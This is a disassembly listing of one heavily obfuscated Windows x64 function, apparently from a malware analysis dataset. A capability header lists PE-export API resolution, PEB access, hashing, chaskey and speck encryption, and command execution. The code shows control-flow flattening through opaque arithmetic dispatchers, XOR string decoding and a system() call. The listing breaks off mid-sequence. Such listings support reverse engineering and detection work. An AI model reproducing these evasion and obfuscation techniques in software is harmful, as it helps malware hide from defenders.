Function at 0x140428f7e
Capabilities:
Access peb ldr_data
Authenticate hmac
Encrypt data using chaskey
Encrypt data using speck
Execute command
Get ntdll base address
Get number of processors
Hash data using fnv
Hash data using murmur3
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0xc77fd343
pushf
not eax
add eax, 0x833e24d9
xor eax, 0xff4e1b9c
rol eax, 0x36
popf
pushf
not eax
add eax, 0x94d6c9a8
xor eax, 0xce6f9e44
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xbe569d83
xor eax, 0x9cfbbf4d
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x90f1d5a2
xor eax, 0xd281aaaa
rol eax, 0xd5
popf
cmp eax, 0x63
jne 0x140428fe1
popf
pop rax
jmp 0x14042d62b
cmp eax, 0x48
jne 0x140428ff0
popf
pop rax
jmp 0x14042c67c
cmp eax, 0x3f
jne 0x140428fff
popf
pop rax
jmp 0x14042c16e
cmp eax, 0x99
jne 0x14042900e
popf
pop rax
jmp 0x14042f0b9
cmp eax, 0x4a
jne 0x14042901d
popf
pop rax
jmp 0x14042c816
cmp eax, 0x78
jne 0x14042902c
popf
pop rax
jmp 0x14042e094
cmp eax, 0x80
jne 0x14042903b
popf
pop rax
jmp 0x14042e4f2
cmp eax, 0x6e
jne 0x14042904a
popf
pop rax
jmp 0x14042db43
cmp eax, 0x8b
jne 0x140429059
popf
pop rax
jmp 0x14042ea90
cmp eax, 0x7d
jne 0x140429068
popf
pop rax
jmp 0x14042e3b3
cmp eax, 0x2a
jne 0x140429077
popf
pop rax
jmp 0x14042b607
cmp eax, 0x71
jne 0x140429086
popf
pop rax
jmp 0x14042dcd9
cmp eax, 0x1c
jne 0x140429095
popf
pop rax
jmp 0x14042acd0
cmp eax, 0x2e
jne 0x1404290a4
popf
pop rax
jmp 0x14042b817
cmp eax, 0x89
jne 0x1404290b3
popf
pop rax
jmp 0x14042e924
cmp eax, 0x2b
jne 0x1404290c2
popf
pop rax
jmp 0x14042b6d2
cmp eax, 0x1b
jne 0x1404290d1
popf
pop rax
jmp 0x14042ac3a
cmp eax, 0x9d
jne 0x1404290e0
popf
pop rax
jmp 0x14042f2de
cmp eax, 0x23
jne 0x1404290ef
popf
pop rax
jmp 0x14042b202
cmp eax, 0x5b
jne 0x1404290fe
popf
pop rax
jmp 0x14042d152
cmp eax, 0x43
jne 0x14042910d
popf
pop rax
jmp 0x14042c380
cmp eax, 0x13
jne 0x14042911c
popf
pop rax
jmp 0x14042a718
cmp eax, 0x33
jne 0x14042912b
popf
pop rax
jmp 0x14042ba8c
cmp eax, 0x24
jne 0x14042913a
popf
pop rax
jmp 0x14042b316
cmp eax, 0x1e
jne 0x140429149
popf
pop rax
jmp 0x14042ae22
cmp eax, 0x94
jne 0x140429158
popf
pop rax
jmp 0x14042eea8
cmp eax, 0x26
jne 0x140429167
popf
pop rax
jmp 0x14042b3f7
cmp eax, 0x27
jne 0x140429176
popf
pop rax
jmp 0x14042b48f
cmp eax, 0x30
jne 0x140429185
popf
pop rax
jmp 0x14042b8e5
cmp eax, 0x10
jne 0x140429194
popf
pop rax
jmp 0x14042a558
cmp eax, 0x37
jne 0x1404291a3
popf
pop rax
jmp 0x14042bd18
cmp eax, 9
jne 0x1404291b2
popf
pop rax
jmp 0x14042a0fb
cmp eax, 0x39
jne 0x1404291c1
popf
pop rax
jmp 0x14042bdf1
cmp eax, 0x16
jne 0x1404291d0
popf
pop rax
jmp 0x14042a8a9
cmp eax, 0x7e
jne 0x1404291df
popf
pop rax
jmp 0x14042e413
cmp eax, 0x4b
jne 0x1404291ee
popf
pop rax
jmp 0x14042c878
cmp eax, 0x92
jne 0x1404291fd
popf
pop rax
jmp 0x14042ee61
cmp eax, 0x14
jne 0x14042920c
popf
pop rax
jmp 0x14042a788
cmp eax, 0x72
jne 0x14042921b
popf
pop rax
jmp 0x14042dd1b
cmp eax, 0x7f
jne 0x14042922a
popf
pop rax
jmp 0x14042e45e
cmp eax, 0x69
jne 0x140429239
popf
pop rax
jmp 0x14042d892
cmp eax, 0x83
jne 0x140429248
popf
pop rax
jmp 0x14042e692
cmp eax, 0x51
jne 0x140429257
popf
pop rax
jmp 0x14042cbf0
cmp eax, 0x11
jne 0x140429266
popf
pop rax
jmp 0x14042a59a
cmp eax, 0x35
jne 0x140429275
popf
pop rax
jmp 0x14042bb97
cmp eax, 0xa0
jne 0x140429284
popf
pop rax
jmp 0x14042f401
cmp eax, 0x7a
jne 0x140429293
popf
pop rax
jmp 0x14042e1ba
cmp eax, 0x6b
jne 0x1404292a2
popf
pop rax
jmp 0x14042d9f6
cmp eax, 0x38
jne 0x1404292b1
popf
pop rax
jmp 0x14042bd60
cmp eax, 0x64
jne 0x1404292c0
popf
pop rax
jmp 0x14042d6d4
cmp eax, 0x5c
jne 0x1404292cf
popf
pop rax
jmp 0x14042d260
cmp eax, 0x15
jne 0x1404292de
popf
pop rax
jmp 0x14042a821
cmp eax, 5
jne 0x1404292ed
popf
pop rax
jmp 0x140429d26
cmp eax, 6
jne 0x1404292fc
popf
pop rax
jmp 0x140429dee
cmp eax, 0x85
jne 0x14042930b
popf
pop rax
jmp 0x14042e771
cmp eax, 0x49
jne 0x14042931a
popf
pop rax
jmp 0x14042c784
cmp eax, 0x1f
jne 0x140429329
popf
pop rax
jmp 0x14042afad
cmp eax, 4
jne 0x140429338
popf
pop rax
jmp 0x140429c2b
cmp eax, 0x8f
jne 0x140429347
popf
pop rax
jmp 0x14042ecd3
cmp eax, 0x4d
jne 0x140429356
popf
pop rax
jmp 0x14042c999
cmp eax, 0x90
jne 0x140429365
popf
pop rax
jmp 0x14042ed85
cmp eax, 0x45
jne 0x140429374
popf
pop rax
jmp 0x14042c4ce
cmp eax, 0x2c
jne 0x140429383
popf
pop rax
jmp 0x14042b77e
cmp eax, 0x5f
jne 0x140429392
popf
pop rax
jmp 0x14042d409
cmp eax, 0x19
jne 0x1404293a1
popf
pop rax
jmp 0x14042ab08
cmp eax, 0x1d
jne 0x1404293b0
popf
pop rax
jmp 0x14042ad92
cmp eax, 0x9e
jne 0x1404293bf
popf
pop rax
jmp 0x14042f356
cmp eax, 0x53
jne 0x1404293ce
popf
pop rax
jmp 0x14042cc63
cmp eax, 0x4f
jne 0x1404293dd
popf
pop rax
jmp 0x14042ca9f
cmp eax, 0x6c
jne 0x1404293ec
popf
pop rax
jmp 0x14042da98
cmp eax, 7
jne 0x1404293fb
popf
pop rax
jmp 0x140429fa7
cmp eax, 0x91
jne 0x14042940a
popf
pop rax
jmp 0x14042ee01
cmp eax, 0x84
jne 0x140429419
popf
pop rax
jmp 0x14042e6f0
cmp eax, 0x7c
jne 0x140429428
popf
pop rax
jmp 0x14042e324
cmp eax, 0xd
jne 0x140429437
popf
pop rax
jmp 0x14042a331
cmp eax, 0x8c
jne 0x140429446
popf
pop rax
jmp 0x14042eb58
cmp eax, 0x18
jne 0x140429455
popf
pop rax
jmp 0x14042aaa0
cmp eax, 0x28
jne 0x140429464
popf
pop rax
jmp 0x14042b527
cmp eax, 0x22
jne 0x140429473
popf
pop rax
jmp 0x14042b135
cmp eax, 0x98
jne 0x140429482
popf
pop rax
jmp 0x14042f023
cmp eax, 0x52
jne 0x140429491
popf
pop rax
jmp 0x14042cc29
cmp eax, 0x41
jne 0x1404294a0
popf
pop rax
jmp 0x14042c2c2
cmp eax, 0x67
jne 0x1404294af
popf
pop rax
jmp 0x14042d7ae
cmp eax, 0x70
jne 0x1404294be
popf
pop rax
jmp 0x14042dc44
cmp eax, 0x29
jne 0x1404294cd
popf
pop rax
jmp 0x14042b5b0
cmp eax, 0x95
jne 0x1404294dc
popf
pop rax
jmp 0x14042ef21
cmp eax, 0
jne 0x1404294eb
popf
pop rax
jmp 0x14042996e
cmp eax, 0x4e
jne 0x1404294fa
popf
pop rax
jmp 0x14042ca5b
cmp eax, 0x31
jne 0x140429509
popf
pop rax
jmp 0x14042b941
cmp eax, 0xa1
jne 0x140429518
popf
pop rax
jmp 0x14042f44d
cmp eax, 0x82
jne 0x140429527
popf
pop rax
jmp 0x14042e633
cmp eax, 0xa3
jne 0x140429536
popf
pop rax
jmp 0x14042f4e5
cmp eax, 0x8a
jne 0x140429545
popf
pop rax
jmp 0x14042e9f1
cmp eax, 0x7b
jne 0x140429554
popf
pop rax
jmp 0x14042e285
cmp eax, 0x75
jne 0x140429563
popf
pop rax
jmp 0x14042df0d
cmp eax, 3
jne 0x140429572
popf
pop rax
jmp 0x140429bbf
cmp eax, 0x6f
jne 0x140429581
popf
pop rax
jmp 0x14042dba8
cmp eax, 0x34
jne 0x140429590
popf
pop rax
jmp 0x14042bb15
cmp eax, 0x88
jne 0x14042959f
popf
pop rax
jmp 0x14042e8d9
cmp eax, 0x76
jne 0x1404295ae
popf
pop rax
jmp 0x14042dfa2
cmp eax, 0xb
jne 0x1404295bd
popf
pop rax
jmp 0x14042a1e3
cmp eax, 0x66
jne 0x1404295cc
popf
pop rax
jmp 0x14042d765
cmp eax, 0x81
jne 0x1404295db
popf
pop rax
jmp 0x14042e591
cmp eax, 0x9f
jne 0x1404295ea
popf
pop rax
jmp 0x14042f3a2
cmp eax, 0x3a
jne 0x1404295f9
popf
pop rax
jmp 0x14042be86
cmp eax, 2
jne 0x140429608
popf
pop rax
jmp 0x140429ae5
cmp eax, 0x65
jne 0x140429617
popf
pop rax
jmp 0x14042d70f
cmp eax, 0x21
jne 0x140429626
popf
pop rax
jmp 0x14042b060
cmp eax, 0x79
jne 0x140429635
popf
pop rax
jmp 0x14042e183
cmp eax, 0x17
jne 0x140429644
popf
pop rax
jmp 0x14042aa34
cmp eax, 0x87
jne 0x140429653
popf
pop rax
jmp 0x14042e879
cmp eax, 0x46
jne 0x140429662
popf
pop rax
jmp 0x14042c587
cmp eax, 0x32
jne 0x140429671
popf
pop rax
jmp 0x14042b9f7
cmp eax, 0x96
jne 0x140429680
popf
pop rax
jmp 0x14042ef9d
cmp eax, 0x60
jne 0x14042968f
popf
pop rax
jmp 0x14042d493
cmp eax, 0x42
jne 0x14042969e
popf
pop rax
jmp 0x14042c322
cmp eax, 8
jne 0x1404296ad
popf
pop rax
jmp 0x140429fee
cmp eax, 0x57
jne 0x1404296bc
popf
pop rax
jmp 0x14042ce78
cmp eax, 0x59
jne 0x1404296cb
popf
pop rax
jmp 0x14042d01e
cmp eax, 0x9c
jne 0x1404296da
popf
pop rax
jmp 0x14042f280
cmp eax, 0x1a
jne 0x1404296e9
popf
pop rax
jmp 0x14042abf0
cmp eax, 0x73
jne 0x1404296f8
popf
pop rax
jmp 0x14042de59
cmp eax, 0x12
jne 0x140429707
popf
pop rax
jmp 0x14042a6a8
cmp eax, 0x9a
jne 0x140429716
popf
pop rax
jmp 0x14042f17e
cmp eax, 0x3c
jne 0x140429725
popf
pop rax
jmp 0x14042bf52
cmp eax, 0x74
jne 0x140429734
popf
pop rax
jmp 0x14042de8f
cmp eax, 0x3b
jne 0x140429743
popf
pop rax
jmp 0x14042bf17
cmp eax, 0x3d
jne 0x140429752
popf
pop rax
jmp 0x14042c046
cmp eax, 0x5d
jne 0x140429761
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xb8]
sub rsp, 0x190
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1403f1ec0]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor r13d, r13d
mov eax, dword [str._UI_]
mov dword [rsp + 0x50], eax
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1403cb96f], r13b
je 0x140429a20
push rax
pushf
mov eax, 0x561b64f0
pushf
not eax
add eax, 0xcf834acf
xor eax, 0x8f133c17
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xcf89b341
xor eax, 0xa94e3c96
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x8311c6d3
xor eax, 0xe1c596b7
rol eax, 0xf9
popf
pushf
not eax
add eax, 0x90cafee3
xor eax, 0xc3b20007
rol eax, 0xc6
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x9d4b9403
pushf
not eax
add eax, 0x8e729858
xor eax, 0xcd609e8a
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xdcab6b9a
xor eax, 0xf1327a79
rol eax, 0x41
popf
jmp 0x140428fd2
movdqa xmm3, xmmword [0x1403cc610]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1403cc650]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1403cc650]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1403cc660]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
jmp 0x140429d26
lea r9, [rsp + 0x50]
mov r8d, r13d
nop word [rax + rax]
push rax
pushf
mov eax, 0x9f0ab92e
pushf
not eax
add eax, 0xc1546e8e
xor eax, 0x916c529f
rol eax, 0x59
popf
pushf
not eax
add eax, 0xa0154be2
xor eax, 0xdaa0cf47
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x91c034a8
xor eax, 0xe13f6bd0
rol eax, 0x4f
popf
pushf
not eax
add eax, 0x95734d68
xor eax, 0xbb96926d
rol eax, 0xf2
popf
jmp 0x140428fd2
mov eax, 0x810124dd
pushf
not eax
add eax, 0xd0c7eb1d
xor eax, 0xd44bb979
rol eax, 0x46
popf
pushf
not eax
add eax, 0xef04972a
xor eax, 0xeb1ec80f
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x92c7b9b5
xor eax, 0xe1f45e8e
rol eax, 0x13
popf
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140429ccd
push rax
pushf
mov eax, 0x8361678
pushf
not eax
add eax, 0xd5769492
xor eax, 0xacb7f141
rol eax, 0x16
popf
pushf
not eax
add eax, 0x8b67aa5d
xor eax, 0xb54f2ef9
rol eax, 0xb9
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x104088fc
pushf
not eax
add eax, 0xd85be740
xor eax, 0xbd78d893
rol eax, 0xab
popf
pushf
not eax
add eax, 0xcab1612e
xor eax, 0x85ab6f8b
rol eax, 0x76
popf
pushf
not eax
add eax, 0x8456eb95
xor eax, 0xdff5c8ef
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xce8d8a93
xor eax, 0xd60dfad7
rol eax, 0xa8
popf
jmp 0x140428fd2
lea rcx, [rsp + 0x50]
jmp 0x140429d2c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x1403caab8]
mov dword [rsp + 0x58], eax
movsd xmm0, qword [0x1403caab0]
movzx eax, byte [0x1403caabc]
movsd qword [rsp + 0x50], xmm0
mov byte [rsp + 0x5c], al
mov r8d, r13d
cmp r12d, 2
jl 0x140429d95
push rax
pushf
mov eax, 0xe0cb340c
pushf
not eax
add eax, 0x82ab98fb
xor eax, 0x8e64f5da
rol eax, 0x89
popf
pushf
not eax
add eax, 0x8ec0bf58
xor eax, 0x859e56f4
rol eax, 0x7f
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x868b6d77
pushf
not eax
add eax, 0xfafa4cf8
xor eax, 0xff077d8a
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xe06a0100
xor eax, 0xe60b2851
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xd57b2f68
xor eax, 0xdb90970d
rol eax, 0xff
popf
pushf
not eax
add eax, 0xd93955b6
xor eax, 0xf23a1f16
rol eax, 0xbc
popf
jmp 0x140428fd2
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm2, xmmword [0x1403cc610]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1403cc660]
movd xmm0, dword [0x1403caab0]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x1403cc620]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1403cc660]
movd xmm0, dword [rsp + 0x54]
xorps xmm2, xmm0
movd dword [rsp + 0x54], xmm2
mov r8d, 0xa472757e
pushf
not r8d
add r8d, 0x94aab09f
xor r8d, 0xa2938080
rol r8d, 0xa7
popf
pushf
not r8d
add r8d, 0xdebcc7df
xor r8d, 0xe2c116b2
rol r8d, 0x73
popf
pushf
not r8d
add r8d, 0x97445101
xor r8d, 0x812c234b
rol r8d, 0xe8
popf
pushf
not r8d
add r8d, 0x924c917d
xor r8d, 0xed29476e
rol r8d, 0xc4
popf
push rax
pushf
mov eax, 0x4fd12a9c
pushf
not eax
add eax, 0xf086be7e
xor eax, 0xb15dc995
rol eax, 3
popf
pushf
not eax
add eax, 0xa7cb9fff
xor eax, 0xecf04845
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xf36bfc08
xor eax, 0xcfe9dbaa
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xb6e3aaf3
xor eax, 0xefa7bd1e
rol eax, 0x95
popf
jmp 0x140428fd2
movsxd rax, r8d
lea r9, [rsp + 0x50]
push rax
not rax
sub r9, rax
pop rax
sub r9, 1
push rax
pushf
mov eax, 0x8435b191
pushf
not eax
add eax, 0xef5fa241
xor eax, 0xaa8e5203
rol eax, 0xee
popf
pushf
not eax
add eax, 0xe7721e8b
xor eax, 0xfe86ee21
rol eax, 0xad
popf
jmp 0x140428fd2
mov eax, 0x9e3fba89
pushf
not eax
add eax, 0xdedfa175
xor eax, 0x910fd90e
rol eax, 1
popf
pushf
not eax
add eax, 0xbeb19452
xor eax, 0x8f631dd6
rol eax, 0x5c
popf
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14042a0a2
push rax
pushf
mov eax, 0xdd49208
pushf
not eax
add eax, 0xff543948
xor eax, 0xa64d99a8
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xe82f96f9
xor eax, 0xd5b7b2d1
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xb680233a
xor eax, 0xf11b22ce
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xc5c1c20e
xor eax, 0x8da2c27f
rol eax, 0xe2
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x3e7c9a4
pushf
not eax
add eax, 0x873a83db
xor eax, 0xb00dac4f
rol eax, 0x31
popf
pushf
not eax
add eax, 0xb208730a
xor eax, 0xfa8e3586
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xb47b0900
xor eax, 0xb4308329
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xddf54b67
xor eax, 0xe0fd76b4
rol eax, 0x51
popf
jmp 0x140428fd2
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rsp + 0x50]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
push rax
pushf
mov eax, 0x1b8f4e97
pushf
not eax
add eax, 0xa44b15b2
xor eax, 0xb31ca885
rol eax, 0x94
popf
pushf
not eax
add eax, 0x9ed7d2c6
xor eax, 0x8ce4184f
rol eax, 0xc6
popf
jmp 0x140428fd2
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x60]
call fcn.14013d0f0
nop
movups xmm0, xmmword [0x1403caa98]
movups xmmword [rsp + 0x60], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14042a242
push rax
pushf
mov eax, 0x1fbc9fa5
pushf
not eax
add eax, 0xf45b5188
xor eax, 0xe856d1d2
rol eax, 0xed
popf
pushf
not eax
add eax, 0xeffde14a
xor eax, 0xe3efd9b0
rol eax, 0xf
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x76387068
pushf
not eax
add eax, 0xb8543469
xor eax, 0x9342c151
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xb4f0f468
xor eax, 0xfcabec14
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xda645325
xor eax, 0x8a22bf39
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xf0d5a50f
xor eax, 0x816891fe
rol eax, 0x12
popf
jmp 0x140428fd2
movdqa xmm5, xmmword [0x1403cc610]
mov edx, r13d
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm6, xmmword [0x1403cc630]
movdqa xmm0, xmmword [0x1403cc660]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x64]
mov r8d, dword [rsp + 0x50]
push rax
pushf
mov eax, 0xedb30818
pushf
not eax
add eax, 0x84cb9d11
xor eax, 0xa2cc55e4
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xfed385ff
xor eax, 0x9892b87d
rol eax, 0x53
popf
pushf
not eax
add eax, 0xdf6c21b3
xor eax, 0xf87e4d26
rol eax, 0x31
popf
pushf
not eax
add eax, 0xe7f916ae
xor eax, 0x8d6a4648
rol eax, 0x14
popf
jmp 0x140428fd2
lea r9, [rsp + 0x60]
mov r8d, r13d
nop dword [rax]
push rax
pushf
mov eax, 0xc4ebcfa2
pushf
not eax
add eax, 0xa0d6b3cb
xor eax, 0xa8a66f7c
rol eax, 0x62
popf
pushf
not eax
add eax, 0xb7ff2502
xor eax, 0xea44f7b0
rol eax, 0x8d
popf
jmp 0x140428fd2
mov eax, 0x639dec9
pushf
not eax
add eax, 0xd948955b
xor eax, 0xd0249835
rol eax, 0x47
popf
pushf
not eax
add eax, 0xd3dcb1dc
xor eax, 0xf317c3da
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xba88484b
xor eax, 0x9c94d2d5
rol eax, 2
popf
pushf
not eax
add eax, 0x8f2c741c
xor eax, 0xca50c04b
rol eax, 2
popf
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14042a675
push rax
pushf
mov eax, 0x1cf5b1a5
pushf
not eax
add eax, 0x840fd295
xor eax, 0xe2b1722f
rol eax, 0xab
popf
pushf
not eax
add eax, 0xc10aa1d0
xor eax, 0xf0178d37
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x9d6f2553
xor eax, 0xd61c3c73
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xaaeee8fa
xor eax, 0xf49b5d85
rol eax, 0x7f
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xf307d83d
pushf
not eax
add eax, 0xbbc5e375
xor eax, 0xd47ca823
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xf58364db
xor eax, 0x92ff8886
rol eax, 0xd6
popf
jmp 0x140428fd2
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rax, [rsp + 0x60]
mov r8, rbx
push rax
pushf
mov eax, 0xce335ff7
pushf
not eax
add eax, 0xc91faeee
xor eax, 0xb41b17cd
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xf2744c86
xor eax, 0xe79df4e7
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xfcb1a0b9
xor eax, 0xc6b13097
rol eax, 0x93
popf
pushf
not eax
add eax, 0xab894aee
xor eax, 0xffe06ba7
rol eax, 0xa1
popf
jmp 0x140428fd2
inc r8
cmp byte [rax + r8], 0
jne 0x14042a755
push rax
pushf
mov eax, 0x49661f0e
pushf
not eax
add eax, 0xa4727caf
xor eax, 0xa7ac0e2a
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x83323764
xor eax, 0x86b9e3d9
rol eax, 0xaf
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x3fb2b148
pushf
not eax
add eax, 0xced0d228
xor eax, 0xd4afc980
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x8e83efe3
xor eax, 0x93afe098
rol eax, 0x11
popf
jmp 0x140428fd2
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x20]
call fcn.14013d0f0
nop
movups xmm0, xmmword [0x1403cb700]
movups xmmword [rsp + 0x60], xmm0
movzx eax, byte [0x1403cb710]
mov byte [rsp + 0x70], al
mov r8d, r13d
cmp r12d, 2
jl 0x14042a7ee
push rax
pushf
mov eax, 0x31e9dc62
pushf
not eax
add eax, 0xa5bc5947
xor eax, 0xff526881
rol eax, 0x31
popf
pushf
not eax
add eax, 0xe920c03d
xor eax, 0xc055b23c
rol eax, 0x98
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x6ace2438
pushf
not eax
add eax, 0xeaaddc95
xor eax, 0xb056602d
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x996dbc7a
xor eax, 0xd3af9518
rol eax, 0x8c
popf
jmp 0x140428fd2
movdqa xmm5, xmmword [0x1403cc610]
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm6, xmmword [0x1403cc630]
movdqa xmm0, xmmword [0x1403cc660]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x64]
mov edx, dword [rsp + 0x50]
push rax
pushf
mov eax, 0xd80cc7a5
pushf
not eax
add eax, 0xdbc2f07e
xor eax, 0xfc7a1f2f
rol eax, 0xb
popf
pushf
not eax
add eax, 0xbfe02511
xor eax, 0xf73c3e97
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xf1ca354d
xor eax, 0xed68effa
rol eax, 0x62
popf
pushf
not eax
add eax, 0xbe2360fb
xor eax, 0x92739ab0
rol eax, 0x22
popf
jmp 0x140428fd2
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14042a9ee
push rax
pushf
mov eax, 0xe512e861
pushf
not eax
add eax, 0x9c1283f7
xor eax, 0xbb16516d
rol eax, 0x91
popf
pushf
not eax
add eax, 0xed9ab16a
xor eax, 0xbd12b1ac
rol eax, 0x74
popf
pushf
not eax
add eax, 0xff177534
xor eax, 0xcb68c9b0
rol eax, 0x44
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xb3802f55
pushf
not eax
add eax, 0xbacacab6
xor eax, 0xe4e3d256
rol eax, 0x56
popf
pushf
not eax
add eax, 0xf98306ae
